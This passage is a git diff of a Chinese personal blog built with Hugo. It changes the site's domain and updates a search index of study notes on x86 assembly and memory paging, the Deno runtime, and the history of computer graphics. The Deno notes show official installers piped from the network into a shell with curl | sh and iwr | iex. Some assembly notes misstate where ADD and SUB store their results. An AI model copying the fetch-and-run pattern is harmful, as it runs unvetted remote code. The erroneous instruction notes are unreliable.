-1999年，Nvidia，Gefprce 256 GPU</p></div><footer class=entry-footer><span title='2022-11-08 12:00:00 +0000 UTC'>2022-11-08</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 计算机图形学学习笔记" href=https://xiaochenabc123.github.io/posts/159/></a></article><article class=post-entry><header class=entry-header><h2>WebSocket学习笔记</h2></header><div class=entry-content><p>HTTP1.1协议实质上就是半双工信道，无法同时发送数据和接收数据，而且HTTP连接必须是客户端发起，由服务器来进行处理响应，只有HTTP2.0才是全双工信道（不需要等待响应，就可以发送第二个报文）
+1999年，Nvidia，Gefprce 256 GPU</p></div><footer class=entry-footer><span title='2022-11-08 12:00:00 +0000 UTC'>2022-11-08</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 计算机图形学学习笔记" href=https://chenjunlinabc.github.io/posts/159/></a></article><article class=post-entry><header class=entry-header><h2>WebSocket学习笔记</h2></header><div class=entry-content><p>HTTP1.1协议实质上就是半双工信道，无法同时发送数据和接收数据，而且HTTP连接必须是客户端发起，由服务器来进行处理响应，只有HTTP2.0才是全双工信道（不需要等待响应，就可以发送第二个报文）
 WebSocket是全双工信道，而且还支持服务端主动发送数据给客户端，是服务器推送技术（还是需要客户端发起连接）
 WebSocket协议是应用层协议，而且是建立在TCP协议上，端口也是使用443和80，握手使用HTTP协议，浏览器不会限制WebSocket的同源
 WebSocket客户端配置
@@ -121,62 +117,20 @@
 WebSocket.onmessage是指定从服务器获取信息时执行的回调函数
 可以指定WebSocket.binaryType来指定传输的数据类型，数据类型有2种，分别是blob和arraybuffer
 客户端配置例如：
-const ws = new WebSocket('ws://localhost:8080')
-ws.onopen = () =>{
-console.log("连接中")
-ws.send('hallo word') // 向服务端发送数据
-}
-ws.onerror = () =>{
-console.log('连接失败')
-}
-ws.onmessage = (evt) =>{
-console.log('连接成功，正在获取数据')
-if(typeof evt.data === String){
-console.log('hallo'+evt.data)
-}else if(evt.data instanceof ArrayBuffer){
-let data = evt.data
-console.log('数据：'+data)
-}
-ws.close() // 手动关闭连接
-}
-ws.onclose = () =>{
-console.log('连接已关闭')
-}
-还有WebSocket.bufferedAmount属性，也是只读，用于返回WebSocket..send没有发送到服务端的数据的字节数，为0表示全部数据已传输完毕
-WebSocket.url属性可以返回WebSocket实例的URL绝对路径，只读...</p></div><footer class=entry-footer><span title='2022-11-05 14:00:00 +0000 UTC'>2022-11-05</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to WebSocket学习笔记" href=https://xiaochenabc123.github.io/posts/158/></a></article><article class=post-entry><header class=entry-header><h2>简单使用Element Plus组件库</h2></header><div class=entry-content><p>Element Plus是基于vue3开发的组件库，而Element使用vue2开发的组件库
+const ws = new WebSocket('ws://localhost:8080') ws.onopen = () =>{ console.log("连接中") ws.send('hallo word') // 向服务端发送数据 } ws.onerror = () =>{ console.log('连接失败') } ws.onmessage = (evt) =>{ console.log('连接成功，正在获取数据') if(typeof evt.data === String){ console.log('hallo'+evt.data) }else if(evt.data instanceof ArrayBuffer){ let data = evt.data console.log('数据：'+data) } ws.close() // 手动关闭连接 } ws.onclose = () =>{ console.log('连接已关闭') } 还有WebSocket.bufferedAmount属性，也是只读，用于返回WebSocket..send没有发送到服务端的数据的字节数，为0表示全部数据已传输完毕
+WebSocket.url属性可以返回WebSocket实例的URL绝对路径，只读...</p></div><footer class=entry-footer><span title='2022-11-05 14:00:00 +0000 UTC'>2022-11-05</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to WebSocket学习笔记" href=https://chenjunlinabc.github.io/posts/158/></a></article><article class=post-entry><header class=entry-header><h2>简单使用Element Plus组件库</h2></header><div class=entry-content><p>Element Plus是基于vue3开发的组件库，而Element使用vue2开发的组件库
 安装Element Plus
 npm install element-plus –save
 或者
 yarn add element-plus
 导入Element Plus
-import ElementPlus from 'element-plus'
-import 'element-plus/dist/index.css'
-按需导入
+import ElementPlus from 'element-plus' import 'element-plus/dist/index.css' 按需导入
 安装插件
 npm install -D unplugin-vue-components unplugin-auto-import
 如果是使用Vite则配置vite.config.ts文件
 导入并且启用插件
-import AutoImport from 'unplugin-auto-import/vite'
-import Components from 'unplugin-vue-components/vite'
-...
-plugins: [
-AutoImport({
-resolvers: [ElementPlusResolver()],
-}),
-Components({
-resolvers: [ElementPlusResolver()],
-}),
-],
-这个组件库还支持module导入的方式手动按需使用，例如：
-&lt;template>
-&lt;el-button>I am ElButton&lt;/el-button>
-&lt;/template>
-&lt;script>
-import { ElButton } from 'element-plus'
-export default {
-components: { ElButton },
-}
-&lt;/script></p></div><footer class=entry-footer><span title='2022-11-03 17:40:00 +0000 UTC'>2022-11-03</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Element Plus组件库" href=https://xiaochenabc123.github.io/posts/157/></a></article><footer class=page-footer><nav class=pagination><a class=next href=https://xiaochenabc123.github.io/page/2/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+import AutoImport from 'unplugin-auto-import/vite' import Components from 'unplugin-vue-components/vite' ... plugins: [ AutoImport({ resolvers: [ElementPlusResolver()], }), Components({ resolvers: [ElementPlusResolver()], }), ], 这个组件库还支持module导入的方式手动按需使用，例如：
+&lt;template> &lt;el-button>I am ElButton&lt;/el-button> &lt;/template> &lt;script> import { ElButton } from 'element-plus' export default { components: { ElButton }, } &lt;/script></p></div><footer class=entry-footer><span title='2022-11-03 17:40:00 +0000 UTC'>2022-11-03</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Element Plus组件库" href=https://chenjunlinabc.github.io/posts/157/></a></article><footer class=page-footer><nav class=pagination><a class=next href=https://chenjunlinabc.github.io/page/2/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/index.json b/index.json
index 98dbb983..cf93f7b6 100644
--- a/index.json
+++ b/index.json
@@ -1 +1 @@
-[{"content":"x86架构通用寄存器（32位的x86架构和64位的x86_64架构）\nx86_64架构由amd公司推出，因此又叫amd64架构，64位架构是基于32位架构扩展的\n32位架构的x86处理器具备8个32位的通用寄存器，可通过名称来引用这8个寄存器，分别为EAX，ECX，EDX，EBX，ESP，EBP，ESI，EDI\nEAX的低16位可以被单独使用，引用名称叫AX（高位是左边位，低位是右边位），AX又可以被分为高8位的AH和低8位的AL\n实质上EAX，ECX，EDX，EBX都可以被拆开使用，ECX的低16位叫CX，CX又可以被分为高8位的CH和低8位的CL\nEDC的低16位叫DX，DX又可以被分为高8位的DH和低8位的DL，EBX的低16为叫BX，BX又可以被分为高8位的BH和低8位的BL\nESP，EBP，ESI，EDI的低16位也可以被单独使用，但是没有8位的，这低16位名称分别是SP，BP，SI，DI\nEAX寄存器被乘法和除法指令自动调用，因此又叫累加寄存器\nECX被LOOP（循环）指令调用为循环计数器\nESP被用于寻址栈上的数据，ESP始终指向栈顶，因此又叫栈指针寄存器\nESI和EDI又叫变址寄存器，变址寄存器引用的是内存地址，ESI指向内存源地址，EDI指向目的地址\nEBP叫帧指针寄存器，被用来引用栈上的函数参数和局部变量\n除了通用寄存器还有EFLAGS标志寄存器，EIP指针寄存器（这个非常重要，因为其引用的是下一条要被指向的指令的地址，注意：并不能直接通过名称来说调用，只能通过CALL之类的间接修改）等等\n64位架构（通用寄存器为16个，并且是64位的，而且每个都可以低8位，16位，32位单独使用）\nEAX，ECX，EDX，EBX，ESP，EBP，ESI，EDI的64位是R开头的，其他和32位架构是一样的，64位架构的内存地址也是64位的\nx86汇编指令（通常是由一个操作码（opcode）和0到多个的操作数（operand）组成）\n整数加减指令（ADD指令（有2个操作数，分别是目的操作数和源操作数，ADD指向将这2个操作数的值相加，将结果存放在源操作数中，源操作数可以是寄存器，内存，目的操作数要满足可写条件，因此也可以是寄存器，内存，但是不能同为内存））和SUB指令（和ADD指令一样，但是是将结果存放在目的操作数中））\nADD指令：ADD EAX,32 （将EAX寄存器的值加上32，并且将结果存放回EAX寄存器中）\nSUB指令：SUB ESP,32 （将ESP寄存器的值减去32，并且将值存放回EAX寄存器中）\n数据传输指令（x86架构有多个数据传输指令，这里是MOV指令）\nMOV指令用于寄存器之间和寄存器和内存之间传输数据使用，MOV指令将源操作数复制到目的操作数中，例如MOV EDX, 666 （将数值666存储在EDX寄存器中）\nx86架构内存寻址：displacement（位移，可以在指令中直接得到内存的偏移量，也就是位移，这个位移表示距离操作数的直接偏移量），base（基址，内存地址存储在通用寄存器中），index（索引，注意ESP寄存器不能用于索引），scale（比例因子，用于索引相乘，是固定值，可取值1，2，4，8）\n内存最复杂的地址计算公式：base+（index*scale）+displacement\nbase和index，displacement都可以随意组合，也可以不存在，如果不使用index，就不需要使用scale了，scale只为index服务，index和scale被用于寻找数组地址和多维数组\n入栈和出栈指令（PUSH和POP指令）\nPUSH指令只有一个操作数，就是需要入栈的源操作数，这个指令可以将ESP寄存器向下移动一个位，并且将源操作数复制到ESP寄存器指向的内存处，例如：PUSH EAX\nPOP指令也是只有一个操作数，就是用来接收数据的目的操作数，POP指向会将ESP寄存器指向的内存处的值复制到目的操作数中，并且将ESP寄存器向上移动一个位置，例如：POP EAX\n分支跳转指令（JMP指令）\nJMP指令只有一个操作数，这个操作数可以是内存，寄存器或者立即数，通过这个操作数来给出需要跳转的目的地址，例如 JMP EAX\n过程调用指令（CALL指令）\n高级语言的函数在汇编叫过程，CALL指令只有一个操作数，是过程的起始地址，例如 CALL EAX\n分支跳转指令和过程调用指令的区别是，分支跳转指令不会记录返回地址，这个返回地址是CALL指令之后的下一条指令的地址，CALL指令会将返回地址入栈，然后跳转到目的地址执行\n子过程执行完成通过RET指令返回，RET指令会在栈上弹出返回地址，并且跳转到该返回地址上继续执行\n内存分页机制\n线性地址\n在内存分页模式中，应用使用的地址就叫线性地址，由MMU(menorymanagement unit)基于页表来映射转换为物理地址\n在内存分页模式未出现之前，应用是直接访问物理内存的，应用具备读写全部物理内存的权限，因此可能会覆盖其他应用的数据，而80386架构出现，出现了保护模式，使用内存分页来通过特权级和进程地址空间来进行隔离\n进程地址空间隔离是通过进程独立性页表来完成的，每个进程实现的地址空间是不同的，避免影响到其他进程\n80386两级页表\n80386架构的线性地址为32位，因此可寻4GB大小的内存空间（4096），地址总线也是32位，因此也是只能寻找4gb大小的物理内存，而且分页机制也将每个物理内存的页面的大小设为4096字节\n一个页面大小为4096字节，地址总线为32位，因此一个页面可存储1024个物理页面地址，80386页表的第一页面是目录页面，物理内存地址存储在CR3寄存器中，可通过该目录页面来查找第二页面的1024个物理页面地址\nMMU将32位的线性地址，低12位是页内偏移，然后的低10位是页表的索引，最后的高10位是页面目录索引，页内偏移的取值范围为0到4095，页表索引和页面目录索引的取值范围为0到1023\n80386线性地址转换到物理地址的过程：先从CR3寄存器中获取页目录的物理地址，然后选择一个页表，在到页表索引中，找到页面的物理地址，最后通过页内偏移量来得到实质上的物理地址\nPAE三级页表\n80386架构的每个进程可使用4gb的线性地址空间，但是操作系统会将4gb的地址空间划分成用户空间和内核空间，为了解决内存空间不够使用，英特尔公司推出了物理地址扩展技术（PAE，PhysicalAddressExtension）\nPAE将地址总线扩展到36位，因此可寻找64gb的物理内存，但是线性地址依然是32位的，为了解决32位线性地址支持36位的物理地址映射，MMU页表映射机制进行了调整，一个页面只能存储512个地址\nPAE的32位线性地址是，高2位是页目录指针索引，后面9位是页目录索引，再后9位是页表索引，最后12位是页内偏移\nx64四级页表\n因为PAE技术并没有扩展线性空间，32位的地址宽度不够使用了，AMD公司基于x86架构扩展而出的x64架构，x64架构的寄存器宽度是64位的，但是线性地址只使用了48位，但是也足够了，因为可以寻高达256TB的内存空间地址，具体可寻多少物理内存空间，取决于地址总线的宽度\nx64架构，在PAE的基础上扩展了页表为4级，而且每个页面的大小是4096字节，高9位是页目录指针表，后9位是页目录指针，再后9位是页目录，然后9位是页表。最后12位是页内偏移量\n虚拟内存\n进程是以内存页面为单位向操作系统申请内存的，现代操作系统中会对申请的内存空间进行记录，并不会马上分配，而是等到该进程真正访问该内存空间是才会分配物理页面并且进行映射，然后恢复中断程序，如果进程访问了没有映射的内存空间，会被操作系统进行page fault处理，操作系统通过page failt handle进行检查内存空间分配记录\n物理空间不够分配时，操作系统可以将少使用的物理页面写入到磁盘交换分区（Swap分区）中，将空出来的页面给需要的进程使用，注意：当在磁盘交换分区中内存页面被访问了，也会触发page fault处理，操作系统通过page failt handle来将磁盘交换分区的内存页面加载回内存中\n虚拟内存并不是万金油，触发虚拟内存的条件是物理空间不够分配时\n","permalink":"https://xiaochenabc123.github.io/posts/162/","summary":"x86架构通用寄存器（32位的x86架构和64位的x86_64架构）\nx86_64架构由amd公司推出，因此又叫amd64架构，64位架构是基于32位架构扩展的\n32位架构的x86处理器具备8个32位的通用寄存器，可通过名称来引用这8个寄存器，分别为EAX，ECX，EDX，EBX，ESP，EBP，ESI，EDI\nEAX的低16位可以被单独使用，引用名称叫AX（高位是左边位，低位是右边位），AX又可以被分为高8位的AH和低8位的AL\n实质上EAX，ECX，EDX，EBX都可以被拆开使用，ECX的低16位叫CX，CX又可以被分为高8位的CH和低8位的CL\nEDC的低16位叫DX，DX又可以被分为高8位的DH和低8位的DL，EBX的低16为叫BX，BX又可以被分为高8位的BH和低8位的BL\nESP，EBP，ESI，EDI的低16位也可以被单独使用，但是没有8位的，这低16位名称分别是SP，BP，SI，DI\nEAX寄存器被乘法和除法指令自动调用，因此又叫累加寄存器\nECX被LOOP（循环）指令调用为循环计数器\nESP被用于寻址栈上的数据，ESP始终指向栈顶，因此又叫栈指针寄存器\nESI和EDI又叫变址寄存器，变址寄存器引用的是内存地址，ESI指向内存源地址，EDI指向目的地址\nEBP叫帧指针寄存器，被用来引用栈上的函数参数和局部变量\n除了通用寄存器还有EFLAGS标志寄存器，EIP指针寄存器（这个非常重要，因为其引用的是下一条要被指向的指令的地址，注意：并不能直接通过名称来说调用，只能通过CALL之类的间接修改）等等\n64位架构（通用寄存器为16个，并且是64位的，而且每个都可以低8位，16位，32位单独使用）\nEAX，ECX，EDX，EBX，ESP，EBP，ESI，EDI的64位是R开头的，其他和32位架构是一样的，64位架构的内存地址也是64位的\nx86汇编指令（通常是由一个操作码（opcode）和0到多个的操作数（operand）组成）\n整数加减指令（ADD指令（有2个操作数，分别是目的操作数和源操作数，ADD指向将这2个操作数的值相加，将结果存放在源操作数中，源操作数可以是寄存器，内存，目的操作数要满足可写条件，因此也可以是寄存器，内存，但是不能同为内存））和SUB指令（和ADD指令一样，但是是将结果存放在目的操作数中））\nADD指令：ADD EAX,32 （将EAX寄存器的值加上32，并且将结果存放回EAX寄存器中）\nSUB指令：SUB ESP,32 （将ESP寄存器的值减去32，并且将值存放回EAX寄存器中）\n数据传输指令（x86架构有多个数据传输指令，这里是MOV指令）\nMOV指令用于寄存器之间和寄存器和内存之间传输数据使用，MOV指令将源操作数复制到目的操作数中，例如MOV EDX, 666 （将数值666存储在EDX寄存器中）\nx86架构内存寻址：displacement（位移，可以在指令中直接得到内存的偏移量，也就是位移，这个位移表示距离操作数的直接偏移量），base（基址，内存地址存储在通用寄存器中），index（索引，注意ESP寄存器不能用于索引），scale（比例因子，用于索引相乘，是固定值，可取值1，2，4，8）\n内存最复杂的地址计算公式：base+（index*scale）+displacement\nbase和index，displacement都可以随意组合，也可以不存在，如果不使用index，就不需要使用scale了，scale只为index服务，index和scale被用于寻找数组地址和多维数组\n入栈和出栈指令（PUSH和POP指令）\nPUSH指令只有一个操作数，就是需要入栈的源操作数，这个指令可以将ESP寄存器向下移动一个位，并且将源操作数复制到ESP寄存器指向的内存处，例如：PUSH EAX\nPOP指令也是只有一个操作数，就是用来接收数据的目的操作数，POP指向会将ESP寄存器指向的内存处的值复制到目的操作数中，并且将ESP寄存器向上移动一个位置，例如：POP EAX\n分支跳转指令（JMP指令）\nJMP指令只有一个操作数，这个操作数可以是内存，寄存器或者立即数，通过这个操作数来给出需要跳转的目的地址，例如 JMP EAX\n过程调用指令（CALL指令）\n高级语言的函数在汇编叫过程，CALL指令只有一个操作数，是过程的起始地址，例如 CALL EAX\n分支跳转指令和过程调用指令的区别是，分支跳转指令不会记录返回地址，这个返回地址是CALL指令之后的下一条指令的地址，CALL指令会将返回地址入栈，然后跳转到目的地址执行\n子过程执行完成通过RET指令返回，RET指令会在栈上弹出返回地址，并且跳转到该返回地址上继续执行\n内存分页机制\n线性地址\n在内存分页模式中，应用使用的地址就叫线性地址，由MMU(menorymanagement unit)基于页表来映射转换为物理地址\n在内存分页模式未出现之前，应用是直接访问物理内存的，应用具备读写全部物理内存的权限，因此可能会覆盖其他应用的数据，而80386架构出现，出现了保护模式，使用内存分页来通过特权级和进程地址空间来进行隔离\n进程地址空间隔离是通过进程独立性页表来完成的，每个进程实现的地址空间是不同的，避免影响到其他进程\n80386两级页表\n80386架构的线性地址为32位，因此可寻4GB大小的内存空间（4096），地址总线也是32位，因此也是只能寻找4gb大小的物理内存，而且分页机制也将每个物理内存的页面的大小设为4096字节\n一个页面大小为4096字节，地址总线为32位，因此一个页面可存储1024个物理页面地址，80386页表的第一页面是目录页面，物理内存地址存储在CR3寄存器中，可通过该目录页面来查找第二页面的1024个物理页面地址\nMMU将32位的线性地址，低12位是页内偏移，然后的低10位是页表的索引，最后的高10位是页面目录索引，页内偏移的取值范围为0到4095，页表索引和页面目录索引的取值范围为0到1023\n80386线性地址转换到物理地址的过程：先从CR3寄存器中获取页目录的物理地址，然后选择一个页表，在到页表索引中，找到页面的物理地址，最后通过页内偏移量来得到实质上的物理地址\nPAE三级页表\n80386架构的每个进程可使用4gb的线性地址空间，但是操作系统会将4gb的地址空间划分成用户空间和内核空间，为了解决内存空间不够使用，英特尔公司推出了物理地址扩展技术（PAE，PhysicalAddressExtension）\nPAE将地址总线扩展到36位，因此可寻找64gb的物理内存，但是线性地址依然是32位的，为了解决32位线性地址支持36位的物理地址映射，MMU页表映射机制进行了调整，一个页面只能存储512个地址\nPAE的32位线性地址是，高2位是页目录指针索引，后面9位是页目录索引，再后9位是页表索引，最后12位是页内偏移\nx64四级页表\n因为PAE技术并没有扩展线性空间，32位的地址宽度不够使用了，AMD公司基于x86架构扩展而出的x64架构，x64架构的寄存器宽度是64位的，但是线性地址只使用了48位，但是也足够了，因为可以寻高达256TB的内存空间地址，具体可寻多少物理内存空间，取决于地址总线的宽度\nx64架构，在PAE的基础上扩展了页表为4级，而且每个页面的大小是4096字节，高9位是页目录指针表，后9位是页目录指针，再后9位是页目录，然后9位是页表。最后12位是页内偏移量\n虚拟内存\n进程是以内存页面为单位向操作系统申请内存的，现代操作系统中会对申请的内存空间进行记录，并不会马上分配，而是等到该进程真正访问该内存空间是才会分配物理页面并且进行映射，然后恢复中断程序，如果进程访问了没有映射的内存空间，会被操作系统进行page fault处理，操作系统通过page failt handle进行检查内存空间分配记录\n物理空间不够分配时，操作系统可以将少使用的物理页面写入到磁盘交换分区（Swap分区）中，将空出来的页面给需要的进程使用，注意：当在磁盘交换分区中内存页面被访问了，也会触发page fault处理，操作系统通过page failt handle来将磁盘交换分区的内存页面加载回内存中","title":"汇编基础学习笔记"},{"content":"Deno是基于V8引擎，使用Rust构建的JavaScript \u0026amp; TypeScript 运行时环境，天生支持TypeScript，并且有安全模式（默认情况下无法获取网络，文件系统，环境变量等权限，当然也可以开放），Deno的作者是Nodejs之父Ryan Dahl，构建的原因是解决Nodejs的缺陷，例如模块的安全性（Node运行时的权限很高，缺乏模块的安全运行），Deno的模块化选择了ESMoule标准，而且具备浏览器的api，例如window全局变量，支持onload，onunload等事件函数，支持fetch，Web Workers等标准，异步操作返回采用Promise，支持await\nDeno不使用node_modules与package.json的包管理机制，而是采用下载编译的机制，并且存在缓存，模块更新通过更新缓存来完成\nDeno有个特殊的功能，就是可以从网络上导入模块\n安装\nLinux\ncurl -fsSL https://deno.land/install.sh | sh\n或者\nwindows\niwr https://deno.land/install.ps1 -useb | iex\n也可以通过scoop安装\nscoop install deno\n作为Rust构建的，当然也支持Cargo包管理器安装\ncargo install deno \u0026ndash;locked\n或者通过单一的可执行文件来安装（我采用这个方式，再配置一下Path环境变量就是可以了，windows选择deno-x86_64-pc-windows-msvc）\nhttps://github.com/denoland/deno/releases\n检查是否安装完成\ndeno \u0026ndash;version\n第一个例子\nimport DFetch from \u0026quot;https://deno.land/x/dfetch/mod.ts\u0026quot;\rDFetch.get(\u0026quot;https://xiaochenabc123.test.com\u0026quot;).then((response) =\u0026gt; {\rconsole.log(response)\r})\r运行\ndeno run .\\index.ts\n它会向你询问进行网络请求，是否允许，可通过\u0026ndash;allow-net默认运行，例如：deno run \u0026ndash;allow-net .\\index.ts\n第三方库通过https://deno.land/x查找\n权限\n\u0026ndash;allow-env，允许访问环境变量，可指定环境变量列表，通过逗号分隔\n\u0026ndash;allow-hrtime，允许高分辨率时间测量\n\u0026ndash;allow-net，允许网络访问，可指定网络地址列表，通过逗号分隔\n\u0026ndash;allow-ffi，允许加载动态库，动态库不是安全运行的\n\u0026ndash;allow-read，允许读取，可指定读取文件列表或者目录，使用逗号分隔\n\u0026ndash;allow-run，允许运行子进程，这个子进程不是安全运行的，可指定子进程列表，通过逗号分隔\n\u0026ndash;allow-write，允许写入，可指定写入文件列表或者目录，使用逗号分隔\n-A 或者 \u0026ndash;allow-all 允许全部权限\nVsCode插件deno\ndeno内置工具\n安装模块\ndeno install \u0026ndash;allow-net -n httpreq https://deno.land/x/dfetch/mod.ts\n卸载模块\ndeno uninstall httpreq\n格式化（支持js，ts，jsx，tsx，md，json等格式）\n格式化当前目录和子目录全部支持文件 deno fmt\n格式化指定文件 deno fmt 1.ts 2.ts\n格式化指定支持文件夹 deno fmt dist/\n检查是否已格式化 deno fmt \u0026ndash;check\n如果需要忽略格式化，只需要在文件头部设置注释// deno-fmt-ignore-file\n打包 deno bundle https://deno.land/x/dfetch/mod.ts httpreq.ts\n编译成执行文件（支持交叉编译，支持win64，macos64，macosarm，Linux64，通过\u0026ndash;target属性指定） deno compile \u0026ndash;allow-net \u0026ndash;target aarch64-apple-darwin index.ts\n支持的值有x86_64-unknown-linux-gnu, x86_64-pc-windows-msvc, x86_64-apple-darwin, aarch64-apple-darwin\n检查依赖关系\ndeno info .\\index.ts\n如果需要查看依赖缓存位置的信息，可以直接执行deno info命令来查看\n规范检查 deno lint .\\index.ts\n检查json deno lint \u0026ndash;json\n忽略规范检查请在文件头部设置注释，// deno-lint-ignore-file\n下载全部远程依赖项到本地文件夹中（会放到vendor文件下，其中import_map.json是依赖地址文件，deno.land文件夹是依赖项的存储文件夹，可以在deno.json下指定import_map.json或者deno run \u0026ndash;no-remote \u0026ndash;import-map=vendor/import_map.json index.ts来离线使用模块（也不使用模块））\ndeno vendor index.ts\n任务（deno.json）\n{\r\u0026quot;tasks\u0026quot;: {\r\u0026quot;run\u0026quot;: \u0026quot;deno run --allow-net index.ts \u0026quot;\r}\r}\r查看已定义任务 deno task\n执行指定任务 deno task run\n也可以指定任务的工作目录 deno task \u0026ndash;cwd .\\src run\n","permalink":"https://xiaochenabc123.github.io/posts/161/","summary":"Deno是基于V8引擎，使用Rust构建的JavaScript \u0026amp; TypeScript 运行时环境，天生支持TypeScript，并且有安全模式（默认情况下无法获取网络，文件系统，环境变量等权限，当然也可以开放），Deno的作者是Nodejs之父Ryan Dahl，构建的原因是解决Nodejs的缺陷，例如模块的安全性（Node运行时的权限很高，缺乏模块的安全运行），Deno的模块化选择了ESMoule标准，而且具备浏览器的api，例如window全局变量，支持onload，onunload等事件函数，支持fetch，Web Workers等标准，异步操作返回采用Promise，支持await\nDeno不使用node_modules与package.json的包管理机制，而是采用下载编译的机制，并且存在缓存，模块更新通过更新缓存来完成\nDeno有个特殊的功能，就是可以从网络上导入模块\n安装\nLinux\ncurl -fsSL https://deno.land/install.sh | sh\n或者\nwindows\niwr https://deno.land/install.ps1 -useb | iex\n也可以通过scoop安装\nscoop install deno\n作为Rust构建的，当然也支持Cargo包管理器安装\ncargo install deno \u0026ndash;locked\n或者通过单一的可执行文件来安装（我采用这个方式，再配置一下Path环境变量就是可以了，windows选择deno-x86_64-pc-windows-msvc）\nhttps://github.com/denoland/deno/releases\n检查是否安装完成\ndeno \u0026ndash;version\n第一个例子\nimport DFetch from \u0026quot;https://deno.land/x/dfetch/mod.ts\u0026quot;\rDFetch.get(\u0026quot;https://xiaochenabc123.test.com\u0026quot;).then((response) =\u0026gt; {\rconsole.log(response)\r})\r运行\ndeno run .\\index.ts\n它会向你询问进行网络请求，是否允许，可通过\u0026ndash;allow-net默认运行，例如：deno run \u0026ndash;allow-net .\\index.ts\n第三方库通过https://deno.land/x查找\n权限\n\u0026ndash;allow-env，允许访问环境变量，可指定环境变量列表，通过逗号分隔\n\u0026ndash;allow-hrtime，允许高分辨率时间测量\n\u0026ndash;allow-net，允许网络访问，可指定网络地址列表，通过逗号分隔\n\u0026ndash;allow-ffi，允许加载动态库，动态库不是安全运行的\n\u0026ndash;allow-read，允许读取，可指定读取文件列表或者目录，使用逗号分隔\n\u0026ndash;allow-run，允许运行子进程，这个子进程不是安全运行的，可指定子进程列表，通过逗号分隔\n\u0026ndash;allow-write，允许写入，可指定写入文件列表或者目录，使用逗号分隔\n-A 或者 \u0026ndash;allow-all 允许全部权限\nVsCode插件deno\ndeno内置工具\n安装模块","title":"Deno js运行时环境学习笔记"},{"content":"计算机图形学(Computer Graphics，CG)是研究图形表达，生成，处理与显示的学科\n通过数学算法将二维，三维图形转换成计算机显示器的栅格，例如向量，行列式，矩阵算法等等\n图形学历史\n1950年，MIT诞生第一个图形显示器（用于Whirlwind（旋风）电子管计算机显示图形），CRT显示器\nWhirlwind电子管计算机设计之初是美国空军训练飞行员，半自动地面防空系统（SAGE）\n应用CRT和光笔\n1958年，双人网球\n1960年，William Fetter（威廉﹒费特），创造‘计算机图形学’名词，计算机图形学先驱\n1961年，史帝夫﹒罗素（Steve Russell），spacewar游戏\n1962年，皮埃尔·贝塞尔（Pierre Bézier），贝塞尔曲线（Bézier curve），绘制曲线\n1962年，伊凡·苏泽兰（Ivan Sutherland），Sketchpad绘图应用，计算机图形学之父\n1963年，Force, Mass and Motion，https://techchannel.att.com/play-video.cfm/2012/8/20/AT\u0026amp;T-Archives-Force-Mass-Motion\n1968年，Ivan Sutherland创造“达摩克里斯之剑”头盔显示器\n1968年，Arthur Appel 提出光线投射算法\n1973年，Bui Tuong Phong，发明phong shading（Phong着色法）\n1974年，Speed Race游戏，第一款赛车游戏\n1977年，3D core Graphics System，图形学标准\n1980年，NEC µPD7220 GPU，支持1024*1024的显示，普及民用\n1996年，Krishnamurthy与Levoy提出法线贴图（Normal Mapping）\n1995年，Directx 1.0\n1997年，OpenGL 1.1\n1999年，Nvidia，Gefprce 256 GPU\n","permalink":"https://xiaochenabc123.github.io/posts/159/","summary":"计算机图形学(Computer Graphics，CG)是研究图形表达，生成，处理与显示的学科\n通过数学算法将二维，三维图形转换成计算机显示器的栅格，例如向量，行列式，矩阵算法等等\n图形学历史\n1950年，MIT诞生第一个图形显示器（用于Whirlwind（旋风）电子管计算机显示图形），CRT显示器\nWhirlwind电子管计算机设计之初是美国空军训练飞行员，半自动地面防空系统（SAGE）\n应用CRT和光笔\n1958年，双人网球\n1960年，William Fetter（威廉﹒费特），创造‘计算机图形学’名词，计算机图形学先驱\n1961年，史帝夫﹒罗素（Steve Russell），spacewar游戏\n1962年，皮埃尔·贝塞尔（Pierre Bézier），贝塞尔曲线（Bézier curve），绘制曲线\n1962年，伊凡·苏泽兰（Ivan Sutherland），Sketchpad绘图应用，计算机图形学之父\n1963年，Force, Mass and Motion，https://techchannel.att.com/play-video.cfm/2012/8/20/AT\u0026amp;T-Archives-Force-Mass-Motion\n1968年，Ivan Sutherland创造“达摩克里斯之剑”头盔显示器\n1968年，Arthur Appel 提出光线投射算法\n1973年，Bui Tuong Phong，发明phong 